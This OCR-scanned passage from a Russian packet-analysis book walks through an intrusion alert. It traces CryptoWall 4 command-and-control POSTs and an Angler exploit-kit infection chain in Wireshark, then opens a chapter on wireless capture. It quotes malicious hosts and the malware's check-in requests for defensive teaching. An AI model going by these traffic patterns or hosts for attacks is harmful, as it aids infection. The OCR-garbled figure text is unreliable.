на основании предупреждения, полученного от системы обнаружения втор

жений. 



• Исследовать предупреждение и сформированную в нем сигнатуру. 

• Убедиться, что сигнатура, совпавшая в анализируемом трафике, нахо

дится в надлежащем контексте. 

• Исследовать трафик, чтобы выяснить, что сделал злоумышленник с по

ставленной под угрозу машиной. 

• Начать процесс нейтрализации уязвимости, чтобы не допустить утечку 

секретной информации из поставленного под угрозу целевого хоста. 

Набор эксплойтов и проrраммы-вымоrотели 
Файлы перехвата 

cryptowall4_c2.pcapnq 
и ek _ to _ cryptowal14 . pcapnq 

И последний сценарий, рассматриваемый в 

этой главе, начинается с предупреждения от си

стемы обнаружения вторжений. Сначала мы 

проанализируем пакеты, сформированные за

раженной системой, а затем попытаемся отследить источник возникшей угро

зы. В данном примере применяется настоящее вредоносное программное обе

спечение, которое, вероятнее всего, является причиной заражения устрой-

ства в сети. 

Рассматриваемый здесь сценарий начинается с предупреждения от систе

мы обнаружения вторжений, которое было сгенерировано средствами Snort 
на консоли Sguil, как показано на рис. 12.31. Sguil - это инструментальное 

средство, применяемое для манипулирования, просмотра и исследования 

предупреждений от одного или нескольких датчиков системы обнаружения 

вторжений. И хотя это инструментальное средство предоставляет далеко не 

самый привлекательный пользовательский интерфейс, оно давно и широко 

применяется специалистами по анализу безопасности. 

Об этом предупреждении в Sguil предоставляется немало сведений. Сводка 
этого предупреждения приведена на верхней панели О. Здесь можно увидеть 

момент времени, когда это предупреждение было сгенерировано, IР-адреса и 

порты отправителя и получателя, применяемый сетевой протокол, а также 

сообщение о событии, составленное на основании совпавшей сигнатуры из 

системы обнаружения вторжений. В данном случае дружественная локальная 

система, находящаяся по адресу 192 .168 .122 .145, связывается с неизвестной 
внешней системой, расположенной по адресу 184 .170 .149. 44, через порт 80, 
который обычно связан с сетевым трафиком протокола НТТР. Внешнюю си

стему следует рассматривать как вредоносную, поскольку на обмен данными 

с ней среагировала система обнаружения вторжений. Одна из ее сигнатур 

свидетельствует о злонамеренном характере обмена данными, кроме того 

сам IР-адрес оказался никому не известен. Сигнатура, совпавшая с анализи

руемым здесь трафиком, представляет собой трафик регистрации (check-in), 



исходящий из семейства вредоносных вирусных программ CгyptoWall, если 

допустить, что штамм этой вирусной программы установлен на дружествен

ной локальной системе. 
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Рис. 12.31 . Это предупреждение от системы обнаружения вторжений указывает 

на заражение вирусом CryptoWa/14 

На консоли Sguil отображается синтаксис правила совпадения 8 и данные 
из отдельных пакетов, где обнаружено совпадение с этим правилом О. Обра

тите внимание на то, что сведения из пакетов разделяются на заголовок про

токола и информационные части аналогично представлению подобных све

дений в Wireshark. Но, к сожалению, в Sguil предоставляются сведения только 
из одного совпавшего пакета, а нам потребуется более углубленный анализ 

пакетов. Поэтому исследуем далее сетевой трафик, связанный с рассматри

ваемым здесь предупреждением, непосредственно в Wiresliaгk, чтобы попы

таться проверить его на достоверность и выяснить, что же в нем происходит. 

Этот трафик содержится в файле перехвата cryptowall4 _ с2. pcapng. 
Анализируемые здесь перехваченные пакеты содержат обмен данными, 

происходивший приблизительно в тот момент, когда возникло предупрежде

ние, и он не особенно сложный. Первый диалог происходит в пакетах 1-16, 
и его можно без труда просмотреть, отследив поток ТСР из этого диалога 

(рис. 12.32). В самом начале анализируемого здесь перехваченного трафика 



локальная система устанавливает соединение по протоколу ТСР с вредонос

ным хостом через порт 80 и выдает запрос по методу POST, содержащий URL 
адресата http://homealldaylong.com/76N1Lm.php?x4tk7t4jo6 О и небольшое 
количество буквенно-цифровых данных 8. На это вредоносный хост отвеча
ет буквенно-цифровой строкой 0 и кодом состояния НТТР 200 ОК 0, прежде 
чем данное соединение будет корректно разорвано. 

11. Wirбhark · Follow ТСР Stream (tcp.stream eq О)· cryptowal14_c2 

POST /76Nllll.php?n=x4tk7t4jo6 НТТР/1.1 о 
Accept: •t• 
Content-Tyf"': application/x--·forn-ur lencod.,O 
Connection~ Close 
Content·Length: 131 

о 

User-Agent: Нozilla/4.e (сщаtiЫе; МSIE 7 .0; Windows tП б .1; ~; Tгident/7 .е; SLCC2; .NЕТ ClR 
2.0.50727; .NЕТ CLR З.5.30729; .NЕТ ClR З.0.30729; Мedia Center РС 6.0) 
11ost: h0111ealldaylong. cot1 
Cache-Control: no-cache 

х 

o=6b7876Э8683333616bБ431660fe5f239ЗclaЗ54adбe57d9845680З7ecebfeЗ60e70ca9e211cdc0fScflЬe65484cf67e605 
49ЗБ77069ЬЬссбЫеае8681985814е8НТТР/1.1 200 ОК @) 
Oate: Ноn, 04 Jan 2016 16:26:30 G/1Т 
Seгver: Apache/2.2. 31 (Unix) llOd_ssl/2. I. 31 Of"'nSSl/1.&. le-fips lllod_Ь..limited/1.4 lllod_qos/11. 5 
X-Poweгed-By: РНР/5.4.45 

Connection: clos~ 
Tгansfeг-Encoding: chunked 
Content-Type: text/htllll 

е 

lб6Зbd0c2ddbcc О 
0 

J6ofttp/<r(s), l!IWV•p/d(s), J rznr(S), 

EnЬre oonversaЬon (m bytes) Streom [O:ill 
Find: ~----------------------------~ , Findt]i!xt 1 

Show data as ASCII 

L Неlр 

Рис. 12.32. Между этими хостами передается небольшое количество данных 
по протоколу НТТР 

Если проанализировать остальную часть упоминаемого здесь файла пе

рехвата, то можно заметить, что всякий раз повторяется практически одна 

и та же последовательность обмена данными между этими хостами, хотя и с 

незначительными изменениями в передаваемых данных. Чтобы посмотреть 

три разных соединения со сходной структурой URL, можно воспользоваться 
фильтром http.request.method = "POST" (рис. 12.33). 

-6 8.491136 РОSТ /7Ыflt•.php)n•x4tk7t"4jo6 КПР/1.1 (appl..tcation/x-www·fora·urlenc~d) 

2-2 1S.S4SS62 192.168.122.145 184.170.149.44 tfTTP РОSТ /7бN11.J1.php?c-91132.Zy31lxud7aj НТТР/1.1 (applic•tion/x-www·fora-urlencoded) 
192.168.122.145 184.176.149.44 НТТР POST /76NlU..phpH•ttfkjb668o381clz НТТР/1.1 (application/x-.м-fo,.,.·urlencoded) 

Рис. 12.33. Структура URL, демонстрирующая разные данные, передаваемые одной 
и той же странице 
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Часть 76N1Lm.php структуры URL, относящаяся непосредственно к веб· 
странице, остается той же самой, тогда как остальная ее часть, относящаяся 

к параметрам и данным, передаваемым странице, изменяется. Повторяюща

яся последовательность обмена данными в сочетании со структурой запросов 

согласуется с командно-управляющим поведением вредоносного программ

ного обеспечения и сигнатурой, сгенерировавшей предупреждение. Следо

вательно, анализируемая здесь система, вероятнее всего, заражена вирусом 

CгyptoWall, как и предполагается в самой сигнатуре. Можете убедиться в этом 

дополнительно, исследовав аналогичный пример, который можно найти на 

популярной странице CryptoWall Tracker, находящейся по адресу https: / / 
www.cryptowalltracker.org/cryptowall-4.html#networktraffic. 

l1!QIЦllMlllll В этой книге ждостатачно места, 'Чтобы досконалъно разобратъ дан

Н ЪIR, которы.ми обмениваются дружественная и вредоносная сисmемы 

во время командн~управляющей последователъности в рассматривае

мом здесъ сценарии. Но если вас это заинmересует, дополнителъные све

дения о данном процессе вы можете полу-читъ по адресу https: //www. 
cryptowalltracker.org/coпвnunication-protocol.html. 

Итак, убедившись, что в рассматриваемом здесь сценарии имеет место 

командно-управляющая последовательность обмена данными с вредоносной 

программой, было бы неплохо устранить этот недостаток, вьшечив заражен

ную вирусом машину. Это особенно важно сделать, когда машина заражена ви

русом вроде CгyptoLocker, поскольку он пытается зашифровать пользователь

ские данные и предоставляет ключ расшифровки только в том случае, если 

пользователь заплатит солидный выкуп. Именно по этой причине подобные 

вредоносные программы называются программами-вымогате;/.ЯМи. Рассмотре

ние способов излечения от подобного вируса выходит за рамки данной книги, 

но в реальном сценарии это следующая последовательность действий, кото

рую должен предпринять специалист по анализу безопасности. 

В связи с этим возникает следующий уточняющий вопрос: каким образом 

произошло заражение дружественной системы? Если источник заражения 

удастся определить, то могут быть обнаружены и другие устройства, заражен

ные аналогичным образом другими вирусами. А возможно, удастся вырабо

тать механизмы защиты или обнаружения, чтобы предупредить заражение. 

В проанализированных выше пакетах командно-управляющую последова

тельность обмена данными удалось выявить лишь после заражения. В тех се

тях, где проводится текущий контроль безопасности и постоянный перехват 

пакетов, многие сетевые датчики настроены на хранение данных из пакетов 

в течение нескольких часов или дней для судебной экспертизы. Ведь далеко 

не каждая организация оснащена средствами оперативного реагирования на 



предупреждения. Временное хранение пакетов дает возможность проанали

зировать их данные со стороны дружественного хоста, прежде чем началась 

командно-управляющую последовательность обмена данными. И такие паке

ты зафиксированы в файле перехвата е k _ to _ cryptowall 4 . pcapng. 
Прокрутив содержимое этого файла перехвата, можно обнаружить намно

го больше пакетов для анализа, хотя все они относятся к протоколу НТТР. 

Зная принцип действия этого протокола, попробуем перейти сразу к делу, 

ограничив отображаемые пакеты только запросами с помощью фильтра http. 
request. В итоге останется лишь одиннадцать НТТР-запросов, исходящих из 
дружественного хоста (рис. 12.34). 

"" ""'"' OtJOl'iltlon Pro!Da.11 ~fo 

4 6.5J.We5 1Э2.168.Ш.14S JH.2e.tl.4t НТР Ю 7lrnfn.pf'l:p/иh·kes НТТР!l.1 
)S S.265859 192.168.122.145 4S ,)J:.138.~2 НТТР бfТ /cont!"1ry/16S!87J/~itt·J.-·visltor·nonsenи·t0<1l&ht-~t •-it-1it•ntJc-dat'lcc tltird lfTTP/1.1 
Э9 6.le!ilsefl 192.JU.U1.14~ 45.)2..2)8.ztl КТТР ыт /occ11ion11/Ьx'k~1'1'XhUA НТТР/1.1 

12)9.1267).i 192. lif,8. 121 .14'1 4'5. )2. 231. lfJ: КПР Gf:T /f00d~ss/tt54"6/e1r~1t· f1nt1st.tc· tOOrowJh ·wr1vc·1rottsq~·forth-.... ktn -fDl.illt1\n tfTTP/l. l 
ве 14.12em 191.tP.111.1-45 45.32-Ht.2e2 НПР GП /oЬs•rv.tion/enVjZlc!t'Ctlpt НТТР/1.1 
4А1 И.245-Ц) 192.168.122.1~ 21J.1t!5.)J.11 НПР POST /\IOEl'!Sq.phprv•»*tk7tAjo6 НТТР,/1.1 (appll.cat1on/x - fon1-uгlencodK) 
4S6 41.1717Ы 192.168.1l2.14S 114.119.1.t9 . .- НТТР POSi /16/ftill.p"Pln•)ll.4t\:7t4jo6 КПР/1.1 (applic1tion/x·-·fм111-ur]encoded) 
472 4S.f;l5184 192.168.112.t•S 21'.186.3).11 1fТ'ТР POSt /VOUбQ.pltp~IUy'1licud11j НТТР/1.1 (1ppl1c1tion/x·-·for8•1.tгle-кodecl) 
.,,, 56.827194 192.161.122 .145 114.171.14!.44 НТТР РОSТ /76НIL•.pitlr,&..WUy:иlnod11j НТТl"/1.1 (•ppltc•t1on/ • ·-·fo,..-u"te"codtd) 
61!i 71.971"1 191.168.122.145 21).116.3),11 Н~ POs.T IVO~.pl\p)h•ttfltjЬ668oИkl: tПТР/1.1 (1pplic1t1011/x-·for.·urle""coded) 
61"& 81.16аЯ8 191.158.12.1.145 114.1?&.149.4" КТТР POST /76НJt_..phpH-ttf,фi668oJ8k1 i:. НТТР/1.1 (1~l1cП"lon/ж--·fON. LJrle'lcoded) 

Рис. 12.34. В результате фильтрации осталось лишь одиннадцать НТТР-заnросов, ис
ходящих из дружественного хоста 

Первый запрос направляется дружественным хостом, находящимся по 

адресу 192 .168 .122 .145, неизвестному внешнему хосту, расположенному по 
адресу 113. 20 .11. 49. Анализ НТТР-заголовка из пакета с этим запросом по
казывает (рис. 12.35), что пользователь запросил страницу по адресу http: / / 
www. sydneygroup. сот. au/index .php/ services/ О , которую он нашел в поиско

вой системе Bing по запросу sydneygroup.com.au 8. До сих пор все вроде бы 
выглядит нормально. 

) Frмe .&: 488 Ьуtе• on ;].". (39М bi t1). -488 Ьуt1-1 c"1ptured (3"4 Ьits} ot1 inteгfa;-e t 
1) f.thernet II, Src: oell_e2:..0186 (е&:22:19:е2:..О:И), OSt: C1scolnc_cb:8):4a (М~16:с1:сЬ:8):.Ц) 

> Inter"et Protoco) V.rsion с, SN:.: :LJ2.1u .12z.1cs. "'t: 113.2•.11.4'9 
) Tr1nsatsst0fl Cont.l"Ql Protocol, Src РоМ:: "9314 (.&9314), Ott Port: М (И) ~q: " 2•"4169S, Ack: 3'J47:!6HS6, Len: 434 
v 1 tf'11<t rr"n-.f~ 

о х 

Acc:ept: text/htal, 1pplic:1tJOl'l/xttt.l•a:l, •/•\r-\n 
б Aeftrer: http://-.Ыn1.co.Jse1rch?q•sydneyJroщ>.cC11 . 11.1&q1-n&forw-QllR["9q•syd~y1roup.ca..8\llJc•1·29&sp-·1&sk-kvid•eeceA.287AC3~F9"87AS26098-iE8274(\r\n 

Ac:c:ept L11n1LJ•ge: en US\r\n 
User·чent: "'3zilla/S.8 (W:il\dows NT 6.1; '°"64; lгident/7.•; r-v:ll.e) like Gec:ko\r\n 
Accept -Encodins: 1t.lp, •tlгite\r\n 
НOst; -.sydney1rot.1p.co..11.1\г\n 

ОНТ: 1\r\n 
Con"ec::tiOl'I: 1Ceep·Ali1,;e\r\n 
\r\n 
[full rсgчсн URI· http·ll- \yQncчrcчp '"' •цllndrx pl!pl)CГVlrcsl 
[НТТР request 1/1} 
ГBrsPAnst 1n frМIC' пl 

А/а .f r-~·S:w!irDZ.tll.IO.IH·~llJ.JQ.ll.f'l·"'-д/Н11,.!"filif,~Hrn)'ll 

Рис. 12.35. НТТР-заnрос, отправленный неизвестному внешнему хосту 

Далее дружественный хост посылает в пакетах 35, 39, 123 и 130 четыре 
запроса на другой неизвестный внешний хост, расположенный по адресу 



45. 32. 238. 202. Как демонстрировалось в прсдьщущих примерах, браузеры 

обычно извлекают со;~ержимое из дополнительных хостов при просмотре 

веб-страницы, на которой хранится встраиваемое содержимое или реклам

ные объявления из сторонних серверов. Само по себе это не вызывает трево

гу, хотя домен в этих запросах выглядит так, словно он составлен случайным 

образом, что вызывает подозрение. 

Любопытнее дело обстоит в запросе по методу GET в пакете 39. Отследив 

поток ТСР в этом обмене данными (рис. 12.36), можно обнаружить, что в нем 

запрашивается файл bXJkeHFlYXhmaA О. Имя этого файла вы1лядит не совсем 

обычно и вообще не включает в себя расширение . 

• Wiresharlc · Follow ТСР Stream (tcp.stream tq 1) · elc_to_cryptowalИ 

6П /occ•sionol/bXJkeliflVXhallA НТТР/1.1 О 
Acc!:pt: */• 
Acc-e:pt_-li)nguage: en-US 

о 

Ref rr~r: http: //xktzjJJ. topcentc. top/contr11ry/16S3873/quite-scwaeone-visi tor-nonsense-tonight-sweet-вWJit-gigвntic
dance-third 
x-flвsl't-vll!:rsioo: J.9"0_,0"24S 
Accept-fncoding: gup, dafl•t• 
User"Agent: №zilla/s.e (Windows ffТ 6.1; WOW64;. Trident/7.e; rv:11.8) like Gecko 
tюst:: xktzj11. topcentc top 
DllТ: 1 
Connection: КUp-Alivr: 

НТТР/1.1 200 О1С 

S.r-ver: nsinx/t.4.6 (UЬuntu} 
Date: l!on, 04 3on 2816 16:25:58 GКr 
Co"tent-iype: applic•tion/x- shockwlive-flash 8 
Tronsfer-Encoding: chunlced 
Connectio11: keep-eliv~ 

1f6• 
CWS .•••• х ... u\ ... > .. ,, •.• к. tw. t7 •• ::J • 

• ) •• llQWТ •• ;PL$ ..•• В.-.g ..• ~ ..•• / .Зg.s). u ••.•.•.• f •• [@с ••. Т .41YU ••. ·О.е ...••• Т •. vO.. .fG .•.••. d •• 
4 •..•..••• M.L •. ;С. .M.ek. fnR .. Uz .N.}) ••.. /Lqk .. )9.} .~ •• v.+ .• & •• [ ••• R.> •• h ••. е•,. )} ..•..•. U ..••• w./? .. : .q. 
{v.y .. s •. k •• 6.111:- .. З<х .....• g ..• [. ;ow. к ..... ; .. : t-" .d•l. V"41ot.&.E .. /t". •900 • • d. I·bg. [ 1 >lz .•.. ;: .• н]. • •• .. { ..... q 
+ .••.• _.e.s .. r .. cz .. ; .1. • .. ) ... . мz-}6_&. l ./uz .. .. . • & ••••• 2.е ....• FK .. ~]. z •••• 
Зj.•k ..•• t.1.>.]6u.•.> .. q .••.. • с •. 1. · 1 · ... _ .. .... So_d .• • ••.• 9sT ••• j .. z .... V . 
• • • ·• .•• :) .1{ .•..• {. ·~х, ..•.. f .• 7е .• е.о .... 5 .• •. 1 .••• • у& .• •ьj ..•. 1111 .• cWj] •. >. • . . g ... 
2 •• ::J.:_::.~········"~····~~·~·10.:..:··~•u ~ ....... <z ... &.VR] .• (XP•.[.U.o.]PQ~ 

)"""'~~ "--~<J .,,,,,.,) 
ft>lr•-v""Ьon (SЗIS) 

Find: 

Рис. 12.36. Загрузка Flash-фaйлa с не совсем обычным именем 

х 

Более тщательный анализ показывает, что веб-сервер обозначает содержи

мое этого файла как x-shockwave-flash 8. Flasl1 является распространенным 
подключаемым модулем для воспроизведения мультимедийных потоков в бра

узере, и поэтому вполне естественно обнаружить, что устройство загружает 

Flаsl1-содержимое. Однако подключаемый модуль Flasl1 печально известен 

своими уязвимостями, которые зачастую не устраняются. Таким образом, упо

мянутый выше Flasl1-фaйл успешно загружается по запросу. 

После загрузки Flasl1-фaйлa в пакете 130 выдается запрос на другой ана

логично именуемый файл. Отследив этот поток ТСР (рис. 12.37), можно 



обнаружить, что в нем запрашивается файл по имени enVj Z2dtcnpz О. Тип 
этого файла здесь не обозначается расширением или сервером. После этого 

запроса целевой хост загружает фрагмент неудобочитаемых данных объемом 

358400 байт О . 

• Wir<Sharlc · Follow ТСР Str••m (tcp.str.•m tq 3) • a_to_cryptow•ll4 

GET /<>l!servвt:ion/~nVjZ2dttщ>z 1fТТ fl.1 О 
Connecti<>n: Ke<!p·Aliv• 

о 

iA.ccept,": "'/'" 
User·Ag•nt: Мotllti/5.8 (Windows llf б.1; WW64; Triderrt/7.0; SLCC2; .Nfl CtR 2.8.50727; ./IП ClR Э.5.3е729; .NП 
CLR Э.0.367:!9; llo~la C""1:er РС 6.6; '°" :11.9) like Gec~o 
!lort: xktrjll. topc..,tc .top 

НТТР/1.1 209 О1С 
Server: nginx/1.4.б (Ulxmtu) 
Dote: Моn, 04 J•n 2&16 16:26:06 GМТ 
Content-Type-: application/oct"et·str~n 
Corrtent-length: 358400 @ 
Connection ~ keep-alive. 
L•st-l'lodified: llan, 04 Эм 2&16 15:56:19 @1Т 
ЕТоg: "S68a96ZЗ·S78119" 

Actept-Rang•s: Ьytes 

.k .... i .. 6.N •• -.м ....••.... [.11 •.. . х. }.1$;X.k . " •. [ - •••• W.0.• •••.. S./ .g . ... S •. ) ••• U •.••. 6 ••.•• Ng •••••• В. 
х .. k •• б. z. PZ .А/Зg ••. 0 •• о• . . "Q.Z .•••••• -~· ••••••. 4 .• X.16/m" .•.•• d 
.• n .•••..••.•.. 1Dg9 •. У ••• / •• [v(p.W •.. о". >.ВН. f •.••••• ех ... ·"· ..... 6 •. lld2• .h ... r ...• jx.1 ... Taq. • ... У\ •к.s.s .. 

х 

~-·· ~ 

Jdw>c/Ц'IJШ,.,_,ollt<Jl~ 

Рис. 12.37. Загрузка еще одного файла с не совсем обычным именем, но на этот раз 
тип этого файла не определен 

Менее чем за 20 секунд после загрузки упомянутого выше файла должно по· 
явиться нечто знакомое в списке НТТР-запросов, приведенных на рис. 12.34. 
Начиная с пакета 441, дружественный хост начнет посылать НТТР-запросы 
по методу POST двум серверам, используя ту же самую командно-управляющую 
последовательность, что и рассмотренная выше. Очень похоже на то, что мы 

выявили источник заражения, ответственность на которое возлагается на оба 

загруженных файла. Первый файл, запрошенный в пакете 39, доставил сред· 
ство эксплуатации уязвимостей (эксплойт), а второй файл, запрошенный в 

пакте 130, - вредоносную программу. 

l11QIИ!piJlllll Для декодирования и анализа файлов, указанных в перехваченных па

кетах, можно восполъзова:тъс.я методиками анализа вредоносного про

граммного oбecnetWнuя. Если вам интересно узна:тъ болъше о методиках 

восстановления алгоритмов работы вредоносного программного обеспе· 

чения, прачитаете книгу Practical Malware А пalysis Майкла Сикорски 

(Michael Sikorski) и Эндрю Хонига (Aпdrew Hoпig), которая вышла в из

дателъстве No Starch Press в 2012 году и которой я отдаю предпачтение. 
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В рассматриваемом :щесь сценарии демонстрируется одна из самых рас

пространенных методик заражения вирусами. Она состоит в том, что, блу

ждая по Интернету, пользователь понадает на сайт, зараженный вредоносным 

переадресовывающим кодом из набора эксплойтов. Такие наборы с.лужат для 

заражения вполне законных и надежных серверов и снятия отпечатков с кли

ентов для выявления их уязвимостей. Зараженная страница называется поса

дачиой страницей эксплойта и служит для переадресации клиента на другой 

сайт, содержащий средство эксплуатации уязвимостей, определенное в этом 

наборе как наиболее эффективное для нанесения вреда целевой системе. 

Проанализированные здесь пакеты перехвачены из набора эксплойтов 

Aнgler, который наиболее часто употреблялся атакующими злоумышленника

ми в 2015 и 201 б п: Как только пользователь попадал на сайт, зараженный экс
плойтом Aнgler, этот набор сразу же определял имеет ли подключаемый мо

дуль Flasl1 в браузсре пользователя уязвимость. И если да, то тогда в эту систе
му сначала доставлялся Flasl1-фaйл, чтобы воспользоваться се уязвимостью, а 

затем в качестве вторичной полезной информации был загружен и установ

лен вредоносный вирус CryptoWall на целевом хосте. Вся последовательность 
заражения целевой системы наглядно показана на рис. 12.38. 

Впоnне надежный веб-сайт, 
11311оманный 

зnоумыwnенником 

113.20.11.49 

• 
1. Поnьзоватеnь посещает 

впоnне надежный, 
но 11311оманный веб-сайт 

2. 6раузер переадресовываетсн на посадочную страницу набора эксмойтов 

Цеnевая 
дружественная 

система 

192.168.122.145 

3. Целевая система заrружает и выпоnняет средство эксмуатацим 
уяэвимостей в подкnючаемом модуnе Aash 
4. Цеnевая система эаrружает 11 устанавливает вредоносную ~ 
вирусную проrрамму CryptoWall4 L_J 

5. Вредоносная программа 
обмениваетсн данными 
с командно-управляющими серверами 

Сервер с набором эксмойтов 
45.32.238.202 

Командно-управляющий 
сервер CryptoWall 
184.170.149.44 
213.186.33.18 

Рис. 12.38. Последовательность заражения целевой системы с помощью 
набора эксплойтов 



Заключительные соображения 
На тему анализа пакетов в сценариях, связанных с нарушением безопасно

сти систем, распознавания распространенных видов атак и реагирования на 

предупреждения системы обнаружения вторжений можно написать целые 

книги. В этой главе бьmи рассмотрены лишь некоторые общеупотребитель

ные методики сканирования сетей и получения отпечатков операционных 

систем, особенности атаки через посредника, а также ряд примеров того, как 

можно эксплуатировать уязвимости системы и к каким последствиям это мо

жет привести. 





АНАЛИЗ ПАКЕТОВ 

В БЕСПРОВОДНЫХ СЕТЯХ 

Организация беспроводных сетей несколько отлича

ется от организации традиционных проводных сетей. 

И хотя в беспроводных сетях применяются обычные 

сетевые протоколы, такие как ТСР и IP, порядок действий 
несколько изменяется при переходе от самых нижних уровней модели OSI. 

В данном случае особое значение приобретает канальный уровень в силу 

особого характера беспроводных сетей и физического уровня. Вместо про

стых проводных протоколов вроде Ethernet., которые не особенно измени
лись со временем, в данном случае приходится принимать во внимание осо

бенности беспроводных протоколов вроде 802.11, которые развиваются 
очень быстро. А это накладывает новые ограничения на доступ к данным и их 

перехват. 

Если принять во внимание упомянутые выше дополнительные соображе

ния, то и не удивительно, что перехвату и анализу пакетов в беспроводных 

сетях посвящена отдельная глава этой книги. В данной главе поясняются ха

рактерные особенности анализа пакетов в беспроводных сетях и способы 

преодоления любых трудностей, возникающих на этом пути. Безусловно, все 

это будет продемонстрировано на конкретных практических примерах пере



Физические особенности беспроводнь1х сетей 
Прежде чем перейти непосредственно к перехвату и анализу данных, пе

редаваемых по беспроводной сети, необходимо рассмотреть особенности 

физической среды передачи данных в подобных сетях. До сих пор мы не пе

реходили на физический уровень потому, что обмен данными происходил по 

физически осязаемым проводным каналам. А в данном случае он происходит 

по физически невидимым каналам в эфире, где пакеты буквально пролетают 

мимо нас. 

Анализ пакетов по отдельнь1м каналам 

Особенности перехвата сетевого трафика в беспроводной локальной вы

числительной сети (WlAN - wireless local area нetwork) состоит в том, что ча
стотный спектр беспроводной связи распределен в среде передачи информа

ции по отдельным физическим радиоканалам. В отличие от проводных сетей, 

где каждый клиент подключается к коммутатору с помощью отдельного кабеля, 

среда передачи данных по беспроводным сетям является общей для всех клиен

тов, хотя радиус ее действия ограничен. В данном случае одна WlAN занимает 
только часть частотного спектра по протоколу 802.11 (т.е. один радиоканал). 

Это дает возможность нескольким системам действовать в одной и той же фи

зической среде передачи информации, но в разных частях частотного спектра. 

l11QIИ!p$iliiii Беспроводнъ~е сети органUЗ'Jются по стандарту 802.11, разработанно
му Институтом инженеров по электротехнике и электронике (Iпstitиte 

of Ekctrical апd Ekctmпics Eпgiпeers - IEEE). В этой главе терминами 
беспроводная сетъ и МЛN обозна'Чаются сети, отвечающие стандарту 

802.11. К наибш~ее распространенным версиям этого стандарта отно
сятся 802.11 а, Ь, g и п. В каждой из этих версий предоставляетсл осо
бый ряд свойств и характеристик, при'Чем 'Чем новее версия стандарта, 

тем выше С'Коростъ переда'Чи данных. Но во всех этих версиях стандар

та 802.11 исполъзуется один и тот же 'Частотиъtй спектр. 

Благодаря такому разделению физического пространства общий частот

ный спектр удалось разбить на отдельные каналы связи, где канал - это часть 

частотного спектра беспроводной связи. Так, в США для беспроводной связи 

выделено 11 каналов, тогда как в ряде других стран допускается большее ко
личество. И это важно, поскольку WlAN может одновременно работать толь
ко на одном канале, а следовательно, анализировать пакеты можно только по 

очереди в отдельных каналах, как показано на рис. 13.1. Так, если проводится 
диагностика WlAN, работающей на канале 6, то систему необходимо настро
ить на перехват сетевого трафика именно на этом канале связи. 



1 

2 
3 

С] 
4 

(~) 5 
6 

~ J 7 

8 

Кnиент беспроводной 9 Точка 
беспроводного 

сети 10 доступа 

11 

Частотный спектр сигналов 
беспроводной связи, 

разделенный на 11 каналов 

Рис. 13. 1. Анализ пакетов в беспроводной сети затруднен тем, что 
он может быть проведен только по очереди в отдельных каналах 

Традиционный анализ пакетов в беспроводной сети может быть одновре

менно проведен только в одном канале связи, если только в некоторых при

ложениях для сканирования беспроводных сетей не применяется методика, 

называемая переключением каналов и предназначенная для быстрой смены ка

налов в целях сбора данных. К числу наиболее распространенных приложе

ний такого типа относится инструментальное средство Кismet (http://www. 

kismetwireless .net/), способное переключать до 10 каналов в секунду, и бла

годаря этому оно становится весьма эффективным для одновременного ана

лиза пакетов в нескольких каналах беспроводной связи. 

Перекрестные помехи в беспроводных сетях 

При беспроводной связи иногда нельзя полагаться на целостность данных, 

передаваемых в эфире, поскольку сигналы, распространяемые по радиокана

лам, могут накладываться друг на друга, создавая помехи. И хотя в беспрово

дных сетях приняты некоторые меры для борьбы с перекрестными помеха

ми, они не всегда оказываются действенными. Поэтому, перехватывая пакеты 

в беспроводной сети, необходимо уделить особое внимание окружающей сре

де, чтобы в ней отсутствовали такие источники помех, как большие отража

ющие поверхности, крупные металлические предметы, микроволновые элек

троприборы, мобильные телефоны, работающие на частоте 2,4 ГГц, толстые 

стены или очень плотные поверхности. Они могут стать причиной потери, 

дублирования и неверного формирования пакетов. 

Возможны также перекрестные помехи и в каналах связи. И хотя анализ 

пакетов допускается одновременно проводить только в одном канале, тем 
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не менее, это можно делать со следующей небольшой оговоркой: вследствие 

ограниченного диапазона частот, выделенного каналам связи, частотные 

спектры отдельных каналов могуг незначительно перекрываться, как показа

но на рис. 13.2. Так, если в каналах 4 и 5 присутствует сетевой трафик и па
кеты анализируются в одном из них, то вполне возможно, что часть пакетов 

будет невольно перехвачена из другого канала. Впрочем, подобная проблема 

возникает редко, поскольку при развертывании беспроводных сетей в одном 

районе, им, как правило, выделяются неперекрывающиеся каналы связи 1, 6 
и 11. Но на всякий случай о подобном перекрытии каналов беспроводной свя

зи необходимо знать. 

2,402 ГГц 22МГц 

Центральная частота 
канала связи (ГГц) 

2,483ГГц 

Рис. 13.2. Вследствие ограниченного диапазона частот, выделенного 

для работы каналов беспроводной связи, частотные спектры отдельных 

каналов могут незначительно перекрываться 

Обнаружение и анализ наложения сигналов 

Диагностику наложения сигналов в беспроводной сети нельзя провести, 

анализируя только пакеты в Wiresliark. Если вы собираетесь специально зани
маться диагностикой WlAN, вам придется регулярно выявлять факт наложе
ния сигналов. И эта задача решается с помощью анализатора спектра - специ

ального прибора для проверки и отображения взаимных помех в определен

ном частотном спектре. 

Профессиональные анализаторы спектра могут стоить очень дорого, но 

для повседневной практики имеется отличное решение в виде устройства Wi
Spy, выпускаемого компанией MetaGeek. Оно подключается к компьютеру че
рез порт USB и способно контролировать весь спектр сигналов по стандарту 
802.11. А вместе с программным обеспечением inSSIDer или Chanalyzer той же 
самой компании MetaGeek это устройство позволяет выводить анализируе
мый частотный спектр в графическом виде, чтобы упростить процесс диагно

стики. Пример такого вывода из Clianalyzer на экран приведен на рис. 13.3. 



Рис. 13.3. В этом примере графического вывода наглядно показано, что спектры че

тырех каналов связи равномерно распределены по всему диапазону частот, выде

ленному для беспроводной связи 

Режимы работы адаптера беспроводной связи 
Прежде чем перейти, собственно, к анализу пакетов в беспроводной сети, 

необходимо рассмотреть различные режимы работы адаптера беспроводной 

связи, имеющие непосредственное отношение к перехвату пакетов. Ниже 

вкратце описаны четыре режима, имеющиеся для этой цели. 

• Управляемый режим (Managed mode). Применяется в том случае, 
если клиент беспроводной сети подключается непосредственной к точ

ке беспроводного доступа. В подобных случаях программный драйвер, 

связанный с адаптером беспроводной связи, использует точку беспро

водного доступа для управления всем процессом обмена данными по 

беспроводной сети. 

• Режим прямого подключения (Ad hoc mode). Применяется в том 
случае, если организована беспроводная сеть, в которой устройства под

ключаются непосредственно друг к другу. В этом режиме два клиента 

беспроводной сети, которым требуется обмениваться данными друг с 

другом, разделяют обязанности, которые обычно возлагаются на точку 

беспроводного доступа. 

• Ведущий режим (Master mode). Некоторые адаптеры беспроводной 
связи поддерживают также ведущий режим. В этом режиме адаптеру 
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беспроводной связи разрешается работать вместе со специальным про

граммным драйвером, чтобы компьютер, на котором установлен этот 

адаптер, действовал в качестве точки беспроводного доступа для других 

устройств. 

